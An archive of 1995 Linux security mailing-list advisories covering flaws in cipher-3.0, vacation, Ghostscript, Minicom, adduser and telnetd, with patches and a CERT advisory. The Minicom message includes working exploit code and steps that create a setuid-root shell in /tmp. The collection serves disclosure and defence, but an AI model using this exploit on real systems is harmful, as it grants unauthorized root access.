SIGNATURE----- Version: 2.6 iQCVAgUBL+mHSuFnVHXv40etAQEuoAP8C4xxqMugpQItaHXOMpGxj3SHnQcj9uZw eWFnguYZtXUTaDO/qmDR7I3lMmyhmIuRJ/yS+eC9afaMsyIzf9o+PoQ/7kdbjbEK B3kRx5cQVHcheLI1gi1YRdbJySTYAM6JtvMwIZEyRY0W5LT3swcIJhejfoXwsui0 +wjsq5DkK9o= =Fbqa -----END PGP SIGNATURE----- linux-alert/1995/linux-alert.9507100664 1767 1767 10262 6005637546 15622 0ustar majdommajdomFrom [email protected] Thu Jul 27 03:25:17 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id CAA08545; Thu, 27 Jul 1995 02:56:15 -0400 Received: from bach.cis.temple.edu ([email protected] [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id PAA06023; Wed, 26 Jul 1995 15:14:42 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.12/8.6.9) id PAA06853; Wed, 26 Jul 1995 15:16:34 -0400 Date: Wed, 26 Jul 1995 15:16:33 -0400 (EDT) From: alex To: Linux Security Mailing List cc: [email protected] Subject: Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update Cipher-3.0/deslogin-1.3 problems caused by GCC 2.7.0 July 26, 1995 15:01 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/544C7805 1994/07/17 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= The cipher-3.0 is a high speed DES cipher used by the deslogin(1) (encrypted login) and deslogingw(1) (encrypted login via gateway) protocol to perfom encryption of the session. Those who installed GCC 2.7.0 when compiling cipher-3.0 *HAVE TO TURN OFF* all optimization. Even with the minimum optimization level (-O) GCC 2.7.0 breaks the code of cipher. When compiling cipher-3.0 edit the Makefile and change CFLAGS and LDFLAGS to "-pipe -static" otherwise, your cipher will produce incorrect ciphertext. The default deslogin(1) and deslogingw(1) source trees, although use the code from the cipher-3.0 tree, have their own separate Makefile. Prior to compiling deslogin, modify CFLAGS and LDFLAGS to "-pipe -static" and remove optimization flags. WARNING: IF YOUR COMPILATION BREAKS THE CODE OF THE CIPHER, YOU MAY END UP BROADCASTING OVER THE NETWORK INFORMATION THAT *SUPPOSED* TO BE ENCRYPTED, THEREFORE COMPROMISING THE PASSPHRASE. deslogin(1), deslogingw(1) and cipher(1) can be obtained from ftp://ftp.uu.net/pub/security/des/. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMBaT34xFUz2t8+6VAQEo/AP/SThg3ZHwM3hklsMGujOcLUPisNuJxo50 sLkqQi0mlc2Oo3nFDzLG0mvoX9M5Jer0qp1osdLTlZaxztYfhJSGJJjoAjK91hBR dw1BCdMwhwlrfizaVi1ZLMFmlFvX8YKEMAaLwuQdFHCo/KhSOlb/4rrMunGPdUtl RtFXqQDDl6o= =Po3y -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= linux-alert/1995/linux-alert.9508100664 1767 1767 16360 6016452345 15622 0ustar majdommajdomFrom [email protected] Wed Aug 2 13:45:08 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA10473; Wed, 2 Aug 1995 13:11:39 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA10414; Wed, 2 Aug 1995 13:04:45 -0400 Date: Wed, 2 Aug 1995 13:04:45 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: SECURITY ALERT: Dangerous hole in vacation v1.0. X-Zippy: I'm having an EMOTIONAL OUTBURST!! But, uh, WHY is there a WAFFLE in my PAJAMA POCKET?? X-Mailer: VM 5.87 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- A major security hole in the Linux version of 'vacation' has been detected and corrected. This hole affects version 1.0 of 'vacation' as ported to Linux by Harald Milz (from Eric Allman's original BSD source) and found on sunsite.unc.edu and other FTP sites (and thus commonly used on Linux systems). Note: The hole was introduced in the Linux port/version and does not appear to affect other, non-Linux-specific, versions of vacation. The hole involved passing the Subject: and From: headers of the incoming e-mail message to 'sed' and 'sendmail' via a system() call. The extreme danger of this, especially in a program that is taking input from remote systems, should be apparent to most people that are familiar with the system() call internals. Thanks go to Olaf Kirch for detecting this hole and for coding an initial fix, and to Harald Milz for enhancing Olaf's fix to provide the same functionality as his (Harald's) previous version. Version 1.1 (recently uploaded to sunsite.unc.edu) is a "safe" version. UNDER _NO_ CIRCUMSTANCES SHOULD VERSION 1.0 BE USED! Here is the LSM entry for the updated version: Begin3 Title: Automatic mail answering program for Linux Version: 1.1 Entered-Date: July 29, 1995 Description: This is the port of the 386bsd vacation program to Linux. Vacation is the automatic mail answering program found on many Unix systems. This is a security fixed version. PLEASE DON'T USE vacation-1.0 ANY LONGER! Keywords: vacation, mail answering Author: Eric Allman (?) Maintained-By: Harald Milz ([email protected]) Primary-Site: sunsite.unc.edu /pub/Linux/system/Mail/mailhandlers 28 KB vacation-1.1.tar.gz Original-Site: agate.berkeley.edu (as of Nov 16, 1993) Platforms: GCC 2.6.3, libc 5.0.9 or libc 4.7.2 Copying-Policy: Copyright (c) 1983, 1987 Regents of the University of California changes relative to the original version: GPL End In addition to Sunsite, the updated version is available in linux.nrao.edu:/pub/linux/security/vacation/. MD5 checksum of the tar-file on linux.nrao.edu is: f37ab91e18de1caa2c657509d8eb073b vacation-1.1.tar.gz Note: For those that get syslog messages from 'sendmail' saying "mailer prog died with signal 13" when running this new v1.1 (it's a SEGV; the 13 is octal), try the following patch (Harald plans on adding this, as well as a couple of other slight modifications that I have made, in a future public update to the newly-released v1.1): diff -u --recursive 1.1-hm/vacation.c 1.1/vacation.c --- 1.1-hm/vacation.c Sat Jul 29 18:08:57 1995 +++ 1.1/vacation.c Sun Jul 30 13:39:41 1995 @@ -184,8 +184,8 @@ setreply(); (void) gdbm_close(db); sendmessage(pw->pw_name); - } - (void) gdbm_close(db); + } else + (void) gdbm_close(db); exit(0); /* NOTREACHED */ } - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMB+wBrxzFUpUTHgFAQGuwwQA1XLiDP93tUE84d0nQOz34iM6GtHBF4AT 9IXsHNrgZpAwUcbYsYTlmvICrrxqyozBkfqGYTpH44ajV5dGcqb9FZmyO//x7/JY LaejDEnp8ByigDf0++w7cxoRF7gwWFeNq2WvpFgbgqLWEer+Ci/mBKkEo0FY397E TQWmk4ekFJ8= =akI7 -----END PGP SIGNATURE----- From [email protected] Tue Aug 22 18:06:16 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA27336; Tue, 22 Aug 1995 17:40:39 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id PAA26552; Tue, 22 Aug 1995 15:20:29 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0skysD-0005AsC; Tue, 22 Aug 95 21:20 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0skz0i-00005AC; Tue, 22 Aug 95 21:29 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Ghostscript problem To: [email protected] Date: Tue, 22 Aug 1995 21:29:19 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2047 Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Hi all, There's another problem with ghostscript that makes you vulnerable to attacks via postscript code. Ghostscript has a file type that lets you execute arbitrary commands through the shell. While the -dSAFER option to gs protects you from ordinary file write/rename/removal attacks, it does not check for this special file type. The hole is present in all GNU versions up to 2.6.2 and Aladdin versions earlier than 3.22. Below's a fix to gs_init.ps that fixes this. Please also make sure that all programs that use ghostscript set the -dSAFER option. ghostview 1.5 does by default, but version 1.4 does not. I'd suggest you also check your ps printer filter if you print postscript files using gs, and xdvi if you use a version that uses ghostscript to display postscript \special's. I checked only xdvi-20, and it's safe. Olaf PS: Patch follows. PGP will garble initial `-' characters in the patch; make sure to replace `- -' with `-' before applying it. - ------------------------------------------------------------------ - --- gs_init.ps.orig Sun Aug 20 23:22:01 1995 +++ gs_init.ps Sun Aug 20 23:22:46 1995 @@ -302,7 +302,8 @@ % If we want a "safer" system, disable some obvious ways to cause havoc. SAFER not { (%END SAFER) .skipeof } if /file - - { dup (r) eq + { exch dup /..fname exch def exch + dup (r) eq ..fname (%pipe%*) .stringmatch not and { file } { /invalidfileaccess signalerror } ifelse - ------------------------------------------------------------------ - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMDowAOFnVHXv40etAQH3swP8CrvRFW2+wXgqJqQTdCVIgUGk/QasREgP PPwaYKy/oD0ak2HFXXdvkUoMbGlhDqlVbDY7cm0M7wuTAxpejtPxspDlacvQSuO7 XA50N9++2P5npmFWa6IBupz4X69nPlnAVBjk/qF4PbpMKdrgIWx23CqecccBrmeC kezpwwcp32Y= =dhSU -----END PGP SIGNATURE----- linux-alert/1995/linux-alert.9509100664 1767 1767 6142 6026415200 15566 0ustar majdommajdomFrom [email protected] Fri Sep 15 20:29:41 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA10734; Fri, 15 Sep 1995 18:49:54 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA09184; Fri, 15 Sep 1995 14:07:19 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA12394; Fri, 15 Sep 95 13:05:09 CDT Date: Fri, 15 Sep 1995 13:05:09 -0500 (CDT) From: Aleph One To: [email protected] Subject: Minicom 1.70 Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] Program: Minicom 1.70. Problem: Minicom users defined in its minicom.users file can gain root access. Explanation: Some distributions install minicom setuid root so that it can access callout devices (/dev/cua0, /dev/ttyS0, /dev/modem). Minicom also allows users to create scripts that can be used to automate logins, and other tasks. This scripts are interpreted by runscript(1). runscript(1) allows arbitrary shell escapes. Minicom forks and exec runscript(1) without calling setreuid(2) to drop priviledges. Therefore it fallows the user can execute arbitrary commands with the privilege of minicom. To complicate matters even more some distributions install minicom.users file with default user names. In the case of Slackware this are: gonzo, satan, snake. If you create accounts with this names on you system you are oppening you self to a security breach. If you have accounts under those name you might want to disable them until security is restored. If a users asks you to change their username to one of those or to create an account with one of those names DO NOT DO IT! Exploit: Create a program that sets its real and effective uid to 0, then executes a shell command such as copying a shell and making it setuid root. This will do: #include #include void main() { setreuid(0,0); system("/bin/cp /bin/sh /tmp/mysh"); system("/bin/chmod 4777 /tmp/mysh"); } Create a minicom script that will execute our program. echo '! /tmp/gime' > /tmp/foo Start minicom and type Control-A then G. Select C and enter the name for our minicom script (/tmp/foo). Hit return and execute the script. Exit minicom and you should find a setuid sh named as /tmp/mysh. Solution: Upgrade to minicom 1.71. Futhermore minicom should not be suid root. Minicom should be of the same group as the dialout device (normally tty, dialout, modem, or uucp), and setguid. On a side note many distributions have the correct premission in the /dev/cua devices but not on their equivalent /dev/ttyS devices. This is the case of debian 0.93. To fix chown root.dialout /dev/ttyS*; chmod o-rwx /dev/ttyS*. Make sure that this does brake your other serial devices such as your mouse. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint B6 C3 BD 8A 7A 79 03 55 CC 24 F4 01 2B BD 90 3A linux-alert/1995/linux-alert.9510100664 1767 1767 12451 6041251013 15573 0ustar majdommajdomFrom [email protected] Wed Oct 18 15:14:08 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA05030; Wed, 18 Oct 1995 14:10:27 -0400 Received: from bach.cis.temple.edu ([email protected] [155.247.182.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id UAA02329; Tue, 17 Oct 1995 20:33:08 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.12/8.6.9) id UAA06778; Tue, 17 Oct 1995 20:34:08 -0400 Date: Tue, 17 Oct 1995 20:34:06 -0400 (EDT) From: alex To: Linux Security Mailing List , [email protected] Subject: URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [NB: I didn't write the adduser replacement; I just modified it. --okir] -----BEGIN PGP SIGNED MESSAGE----- adduser-1.0 Security Vulnerability LINUX SECURITY FAQ UPDATE October 17, 1995 15:30:01 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/544C7805 1994/07/17 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of the signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security/ linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive/ ============================================================================= VULNERABILITY ************* The adduser 1.0 script used on a lot of systems to add a new user account has a potential vulnerability that in some cases can allow an owner of the created account to gain unauthorized root access. The original version of this script had a mistake in the algorithm used to generate a new UID, which on systems that had accounts with UID close to 65535 (i.e. accounts 'nobody' with UID -2 or -1) caused the newly generated account to receive UID 0. AFFECTED DISTRIBUTIONS: *********************** RED HAT ======= Red Hat 2.0 uses a vulnerable version of the adduser script. Fortunately, Red Hat 2.0 systems by default do not have any accounts with UID higher than 1000. Nevertheless, an updated package is available from the following places: ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/RPMS/adduser-1.1-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm ftp://linux.nrao.edu/pub/people/alex/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm Please verify the MD5 message digest of the upgrade before installing. It has to be : MD5 (adduser-1.1-1.i386.rpm) = 543fab52c0cf6ae4751858d08cf958bd The upgrade can be performed using command rpm -USvh adduser-1.1-1.i386.rpm CALDERA DESKTOP =============== Unfortunately at this time we are not able to provide adequate information about vulnerability of the Caldera Desktop, though due to the fact that Caldera Desktop is based up RedHat 2.0, we recommend installing the updated adduser script. SLACKWARE ========= By default Slackware does not use the vulnerable adduser script, although we do recommend that you check. If it does, replace your adduser script with the one located on: ftp://bach.cis.temple.edu/pub/Linux/Security/adduser-1.1-ok.gz ftp://linux.nrao.edu/pub/people/alex/adduser-1.1-ok.gz Please verify the MD5 message digest of the adduser-1.1-ok.gz before installing it. It has to be: MD5 (adduser-1.1-ok.gz) = ceadb362f6761c59fc8e37e5ef7dcd29 OTHER DISTRIBUTIONS: Please follow the instructions under Slackware section. THE REPLACEMENT SCRIPT ********************** The replacement script was written by Olaf Kirch some time ago (probably when we discussed the possibility of roll-over in the linux-security mailing list). This script also uses a bit different algorithm of user ID allocation (first unused userid after uid of 500). CREDITS ******* The following people helped in preparing this update and fix: Marc R. Ewing Olaf Kirch Jennifer Burke -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMIRHPIxFUz2t8+6VAQHCfwP+NK3JiT93q0x7gyJnh37KlUqvRA66ssj2 YCamjV87yNqB5419ctWOe9nPwUMelYuFXnR7cw+a7HMhmFM7nXnOhB3TN5Rari+U MCKkhxnIpwrPh/c6MPsX3mVXW9XW/7sDeCOTdXqUJC9dveY0OHxdd6T639u5UcAA Y9HK6NmGUt4= =tzew -----END PGP SIGNATURE----- linux-alert/1995/linux-alert.9511100664 1767 1767 67354 6050252066 15621 0ustar majdommajdomFrom [email protected] Sun Nov 5 16:02:19 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06135; Sun, 5 Nov 1995 15:37:40 -0500 Received: from passer.osg.gov.bc.ca ([email protected] [142.32.110.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id TAA26571; Thu, 2 Nov 1995 19:58:48 -0500 Received: from localhost (localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.7.1/8.6.10) with SMTP id QAA24470 for [email protected]; Thu, 2 Nov 1995 16:58:45 -0800 (PST) From: Cy Schubert - BCSC Open Systems Group Message-Id: <[email protected]> X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol X-Mailer: DXmail To: [email protected] Subject: Telnetd Environment Vulnerability Date: Thu, 02 Nov 95 16:58:43 -0800 X-Mts: smtp Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] There is a serious problem with various telnetd daemons which will cause /bin/login to give a root shell. I haven't had a chance to test this on my Linux boxes at home, however it does fix the problem under DEC's OSF/1. I managed to find this wrapper in CERT Advisory CA-95:14. /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * */ #include #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/bin/login.real" #endif main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } } *p2 = 0; execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." From [email protected] Sun Nov 5 16:02:22 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06128; Sun, 5 Nov 1995 15:36:26 -0500 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id SAA26245; Thu, 2 Nov 1995 18:25:39 -0500 Received: from FOUNDATION.MIT.EDU by MIT.EDU with SMTP id AA27282; Thu, 2 Nov 95 18:24:51 EST Received: from localhost by foundation.mit.edu (8.6.10/4.7) id SAA19520; Thu, 2 Nov 1995 18:25:31 -0500 Message-Id: <[email protected]> To: [email protected] Subject: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Date: Thu, 02 Nov 1995 18:25:29 -0500 From: Erik Nygren Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [Note to moderator: Feel free to modify this message in any way you see fit. I just thought that fixes for this should be sent to or announced on linux-alert or comp.os.linux.announce as soon as possible.] This vulnerability affects Linux as well as many other platforms. Either the full advisory or at least some subset of it should be sent out to linux-alert. To summarize, telnet allows you to pass environmental options to telnetd which sets them before calling login. This allows LD_LIBRARY_PATH and other variables used by ld.so to be set before login is called. Because login is being called by a process running as root (rather than being a suid root executable) the LD_LIBRARY_PATH variable may be set, causing an alternate version of libc to be called by login as root. Using this vulnerability, any user can gain root access to a machine. A local account is not required for machines with a networked file system (such as AFS or NFS) or a writable ftp directory. The CERT announcement follows: ============================================================================= CA-95:14 CERT Advisory November 1, 1995 Telnetd Environment Vulnerability ----------------------------------------------------------------------------- The CERT Coordination Center has been made aware of a vulnerability with some telnet daemons. The daemons affected are those that support RFC 1408 or RFC 1572, both titled "Telnet Environment Option," running on systems that also support shared object libraries. To determine if your system is potentially vulnerable, refer to the information we have received from vendors which is summarized in Section III below; details are in Appendix A and reproduced in the CA-95:14.README file. Note that if you installed a version of David Borman's telnet package that is older than October 23, 1995, your system may be vulnerable even though it was not vulnerable as distributed by the vendor. If your vendor is not listed, you will need to determine if your system may be vulnerable. First, determine if your telnet daemon is RFC 1408/1572 compliant. One indication that it is compliant is if your telnet(1) program supports the "environ" command or your telnetd(8) program supports the ENVIRON or NEW-ENVIRON options. Unless you are certain that your telnet daemon is not RFC 1408/1572 compliant, you may wish to assume it is to be safe. Second, determine if your system supports shared libraries. To do this, consult the ld(1) manual page. If it describes dynamic or shared objects, your system probably supports shared object libraries. A system is potentially vulnerable if the telnet daemon supports RFC 1408/RFC 1572 and the system supports shared object libraries. We recommend that you follow your vendor's directions for addressing this vulnerability. Until you can install a patch, we recommend using the workaround in Appendix B below. If you have previously installed David Borman's telnet package on your system, we recommend that you obtain the current version of telnet (see Section III.C). As we receive additional information relating to this advisory, we will place it in: ftp://info.cert.org/pub/cert_advisories/CA-95:14.README We encourage you to check our README files regularly for updates on advisories that relate to your site. ----------------------------------------------------------------------------- I. Description Some telnet daemons support RFC 1408 or RFC 1572, both titled "Telnet Environment Option." This extension to telnet provides the ability to transfer environment variables from one system to another. If the remote or targeted system, the one to which the telnet is connecting, is running an RFC 1408/RFC 1572-compliant telnet daemon *and* the targeted system also supports shared object libraries, then it may be possible to transfer environment variables that influence the login program called by the telnet daemon. By influencing that targeted system, a user may be able to bypass the normal login and authentication scheme and may become root on that system. Users with accounts on the targeted system can exploit this vulnerability. Users without accounts on that system can also exploit this vulnerability if they are first able to deposit an altered shared object library onto the targeted system. Therefore, a system may be vulnerable to users with and without local accounts. Not all systems that run an RFC 1408/RFC 1572-compliant telnet daemon and support shared object libraries are vulnerable. Some vendors have changed the trust model such that environment variables provided by the telnet daemon are not trusted and therefore are not used by the login program. Section III contains a summary of information vendors have reported as of the date of this advisory. II. Impact Local and remote users can become root on the targeted system. III. Solution The general solution to this problem is to replace the telnet daemon with one that changes the environment given to the login program. We recommend that you install a patch from your vendor if possible. If this is not possible, we recommend using the workaround in Appendix B until you can install a patch. Finally, if you have previously installed Mr. Borman's telnet package, see Section C for how to get a new version that fixes the vulnerability. A. Vendor Patches Below is a summary of the vendors listed in the current version of the CA-95:14.README file, and the status they have provided. More complete information, including how to obtain patches, is provided in Appendix A of this advisory and reproduced in the README file. We will update the README file as we receive more information from vendors. If your vendor's name is not on this list, please contact the vendor directly. REMINDER: If you installed a version of David Borman's telnet package that is older than October 23, 1995, your system may be vulnerable even though it was not vulnerable as distributed by the vendor. Vendor or Source Status ---------------- ------------ Apple Computer not vulnerable Berkeley Software Design not vulnerable Cray Research not vulnerable CYGNUS cns-95q1 - vulnerable cns-95q4 - not vulnerable Data General not vulnerable Digital Equipment Ultrix - not vulnerable OSF/1 - vulnerable FreeBSD vulnerable Harris not vulnerable Hewlett-Packard not vulnerable Linux Debian - vulnerable Red Hat - vulnerable Slackware - appears vulnerable MIT-distributed for Athena vulnerable NetBSD 1.0 - vulnerable current - not vulnerable NEC vulnerable Open Software Foundation OSF/1 version 1.3 not vulnerable OpenVision OpenV*Secure 1.2 - vulnerable SCO not vulnerable SGI 5.2, 5.3, 6.0.1, 6.1 - vulnerable Sony Corp. NEWS-OS 6.x - not vulnerable B. Workaround Until you can install a patch from your vendor, you can use the workaround provided in Appendix B. C. If you have installed a previous version of Mr. Borman's telnet package, note that he has fixed this problem in the version available at the following location: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z MD5 checksum 2e14879a5b0aa6dd855a17fa8a3086cf --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Eric Halil of AUSCERT, Wolfgang Ley of DFNCERT, and Sam Hartman of the MIT Kerberos Development team for their support in responding to this problem. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the email be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). Internet email: [email protected] Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA CERT advisories and bulletins are posted on the USENET newsgroup comp.security.announce. If you would like to have future advisories and bulletins mailed to you or to a mail exploder at your site, please send mail to [email protected]. Past CERT publications, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. Copyright 1995 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for non-commercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. .............................................................................. Appendix A: Vendor Information Current as of November 1, 1995 See CA-95.14.README for updated information Below is information we have received from vendors. If you do not see your vendor's name below, contact the vendor directly for information. Apple Computer, Inc. -------------------- Apple's A/UX is not vulnerable. Berkeley Software Design, Inc. ----------------------------- BSDI's BSD/OS is not vulnerable. Cray Research, Inc. ------------------- Cray's UNICOS is not vulnerable. CYGNUS Network Security V4 Free Network Release ---------------------------------------------------- cns-95q1 is vulnerable. cns-95q4 is not vulnerable. Customers can use the following URL to obtain the patch: http://www.cygnus.com/data/cns/telnetdpatch.html If customers are unable to obtain the patch in this manner or have any questions, send e-mail to [email protected]/ Note that while the URL and patch are already available, there is no link to the page yet. We will add a link once the announcement has been made. Data General Corporation ------------------------ Data General believes the DG/UX operating system to be NOT vulnerable to this problem. This includes all supported releases, DG/UX 5.4 Release 3.00, DG/UX 5.4 Release 3.10, DG/UX Release 4.10 and all related Trusted DG/UX releases. Specifically, telnetd shipped in DG/UX does not support environment options and does not support RFC 1572. Digital Equipment Corporation ----------------------------- Digital's OSF/1: vulnerable Digital's ULTRIX: not vulnerable Digital has corrected this potential vulnerability. Patches containing new images for Digital's OSF/1 platforms are being provided to your normal Digital Support channels beginning October 31 (U.S. time). The kits may be identified as ECO SSRT0367 (telnetd) for DEC OSF/1 V2.0 thru V3.2c This potential vulnerability is not present on Digital's ULTRIX systems. Digital distribution of this announcement will be via AES services (DIA, DSNlink FLASH etc.). Digital Equipment Corporation strongly urges Customers to upgrade to a minimum of DEC OSF/1 V3.0, then apply this patch. FreeBSD ------- Vulnerable. A patch has been applied to the current development FreeBSD source tree which is not yet released. This patch is slightly modified compared to posted one, i.e. only variables which affects FreeBSD are disabled. It is telnetd patch, not a login wrapper. For the official patch, location please contact: Jordan Hubbard Harris ------ Harris Computer Systems Corporation's Night Hawk is not vulnerable. Hewlett-Packard Company ----------------------- HP/UX is not vulnerable. Linux (freely available software; not a vendor) ----- Debian GNU/Linux (From "Peter Tobias" ): The current version of the Debian GNU/Linux distribution (released 10/27/95) is not vulnerable anymore. All Debian Installations that use a netstd package version prior to v1.21-1 are vulnerable (telnetd is part of the netstd package). netstd-1.21-1 and above are ok. Patches are available. Peter fixed the bug last week and uploaded the fixed version to our ftp site (ftp.debian.org). Binaries, sources and the diffs against the bsd telnetd can be found there. The URL for the new binary package is: ftp://ftp.debian.org/debian/debian-0.93/binary/net/netstd-1.21-1.deb and the sources and the diff against the bsd telnetd can be found at: ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.tar.gz ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.diff.gz Red Hat Linux (From Erik Troan ): Vulnerable. A fix is now available at: ftp://ftp.redhat.com/pub/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm It will also be fixed in the upcoming Red Hat 2.1 release. Slackware Linux (Alan Cox ): The telnetd distributed with Slackware Linux appears to be vulnerable, although it has not been verified. MIT-distributed Athena telnet/telnet95 -------------------------------------- Vulnerable. Patches available in: ftp://aeneas.mit.edu/pub/kerberos/telnet-patch/ beta4-3.patch is the patch versus the Beta 4 patchlevel 3 distribution of Kerberos v5. beta5.patch is the patch versus the Beta 5 distribution of Kerberos 